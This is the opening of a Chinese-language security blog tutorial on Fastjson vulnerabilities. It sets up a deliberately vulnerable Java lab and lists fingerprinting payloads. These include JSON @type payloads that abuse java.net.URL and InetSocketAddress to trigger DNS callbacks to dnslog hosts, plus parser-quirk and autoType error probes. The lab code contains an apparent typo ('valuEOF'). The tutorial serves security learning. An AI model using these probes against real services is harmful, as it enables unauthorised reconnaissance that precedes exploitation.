在我刚接触Java安全的时候,我写过一篇零基础入门级别的文章
现在距离这篇文章的写作时间已经过去整整半年,该写写他的提高篇了。基础篇发布后,很多师傅在朋友圈发表了留言,有不少师傅提出了宝贵而真挚的建议,也有师傅(@Y1ngSec、@lenihaoa)指出我文章的不足,我在此再次表示诚挚的感谢。后来我在准备写fastjson漏洞利用提高篇的时候发现,网上的一些payload总结要么是东一块西一块很零散,要么就是没有经过仔细的校对(一些payload的注释的利用范围明显是错的,另一些给出的payload本身就是错的),要么就是说明很简短,让新手看了一头雾水不知道具体出现什么情况才是正确的。为了方便自己平时查阅利用,也为了尽量修复以上的问题,我写下了这篇文章。不过需要注意的是,这篇文章是总结性质的,是从1到n的,并非从0到1,所有我参考过的文章我都会列在文章末尾以表示感谢。
如果你觉得代码复制的不方便,可以去我的github上面下载markdown文件:
https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement
0.2 准备工作我这里大部分直接使用safe6Sec师傅制作的复现环境(如果需要使用其他的靶场我会单独说明):
git clone https://github.com/safe6Sec/ShiroAndFastJson.git
我修改了IndexController.java文件中的parse函数,方便我查看解析结果或者解析报错内容:
@PostMapping("/json")
@ResponseBody
public JSONObject parse(@RequestBody String data) {
JSONObject jsonObject = new JSONObject();
try {
jsonObject.put("status", 0);
jsonObject.put("message", String.valuEOF(JSON.parse(data)));
} catch (Exception e) {
jsonObject.put("status", -1);
jsonObject.put("error", e.getMessage());
}
return jsonObject;
}
接下来,如果不做特别说明的话,我都是向json接口进行post请求payload。
一、判断所使用的Json库需要注意的是,以下大部分都是在没有报错返回的情况下利用的方法,个别的我会做出说明。
1.1 Fastjson1.1.1 dnslog判断法payload1:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"rtpmognpiy.dgrh3.cn"}}
payload2:
{{"@type":"java.net.URL","val":"http://qvhkmkgcta.dgrh3.cn"}:"a"}
如果以上payload正常返回并受到dnslog请求,说明目标使用的是fastjson框架。
1.1.2 解析判断法payload3:
{"ext":"blue","name":{"$ref":"$.ext"}}
如果解析成功,那么说明目标使用的是fastjson:
至于这个下面的这个payload4,需要根据具体环境参数来修改,不可直接使用:
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}
本意就是如果能对上面的参数的值自动解析,说明使用了fastjson组件:
payload5:
{"@type": "whatever"}
如果对方的代码写的是像我这样显示报错内容的话,可以通过这个来判断(出现autoType is not support. whatever说明使用了fastjson),但是一般不会,所以实战中基本上用不到: